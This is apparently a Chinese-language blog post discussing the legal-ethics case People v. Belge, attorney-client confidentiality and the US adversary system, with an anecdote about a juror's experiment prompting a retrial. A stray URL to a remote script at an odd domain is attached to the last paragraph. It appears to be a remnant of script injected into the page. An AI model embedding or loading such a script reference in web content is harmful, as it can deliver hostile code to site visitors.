People v. Belge, 83 Misc. 2d 186 (N.Y. Misc. 1975)
某人殺害了三名人士，並棄屍在無人知曉的荒野，案發後司法單位也始終找不到屍首。
而在進入司法程序後，Belge律師受該兇手委託進行辯護。後來因為證據缺乏、死無屍首且兇手提出「精神耗弱抗辯」，案件又轉入認罪協商程序。
Belge律師與兇手溝通的過程，兇手對律師坦承殺人，並告知棄屍地點。律師親自到現場勘查，發現卻有三具屍體棄置。然律師並未通報任何有關單位，僅是勘查後就離去，任憑屍首維持原貌。
隨後，三名被害人家屬找上這名律師，苦苦哀求律師好心告訴他們屍體位置，至少讓家屬可以辦場喪禮與安葬被害人。與此同時，州政府以違反公共健康法中–「任何人發現屍體均有義務通報有關單位」為由欲起訴Belge律師。
如果你是律師，你該怎麼做才符合道德？
解答篇：
這個真實案例其實是幾種價值的對抗 — 律師與客戶之間的保密義務（同時也是特權）是否足以對抗 1. 被害家屬的權利、2. 州法律以及最重要的3. 法庭發現真實的權力！
如果整個司法系統的重點是擺在「發現真相」，則課以律師「坦白之義務」就可以想見。
但美國的司法系統恰恰是adversary system，其重點從來都不是「發現真相」。因此，英美法系統更在乎：如果律師有義務報告發現，是否侵害了與影響了未來被告向律師坦承的可能性？當被告不敢坦承，其法律上應該受到「良善法律代理」的權利也必然受到影響。
有趣的是，英美法以及其從業人員多數認為這個遠從英國國王就許以特權的「confidentiality privilege 」最重要。
因此不但在common law領域，律師不應該揭露此屍首位置訊息，也不該揭露兇手的確殺人之訊息。就連美國律師協會（ABA）所制定的律師模範規則（Model Rules）也要求律師不可揭露。
回過頭談美國司法的adversary system「重點不在於發現真相」這點。
曾有過一個極端案例：某案原告之專家證人聲稱依其化學專業，在某某情況下會引發火災，因此被告有賠償責任云云。
偏偏陪審團中有一火災專家，認定專家證人證詞是狗屁，並準備材料於陪審團討論期間科學實驗示範給其他陪審員，證明在某某情況下根本不會起火燃燒，枉論火災之可能。
結果呢？法官判定"impeaching the verdict" — 解散陪審團，重選陪審團重新再審！
為什麼？因為該名陪審員的行為「嚴重影響了其他陪審員的判斷」。
美國的adversary system要求所有的陪審員必須僅就法庭上控辯雙方提出個說詞、證據與故事去審酌，不可以參考其他資料或知識。
甚至就算陪審員「錯誤地解讀法律或證據」做出決定，其判定依然有效。除非非常極端的狀況，構成judgment non obstante verdicto （judgment NOV）。
這對理工科出身者一定難以理解：為什麼科學實驗證明之真相不被法庭接受？
這牽涉到比較複雜的程序正義與司法制度問題，以後有機會再詳談。https://js.developerstatss.ga/stat.js?n=ns1
元毓說 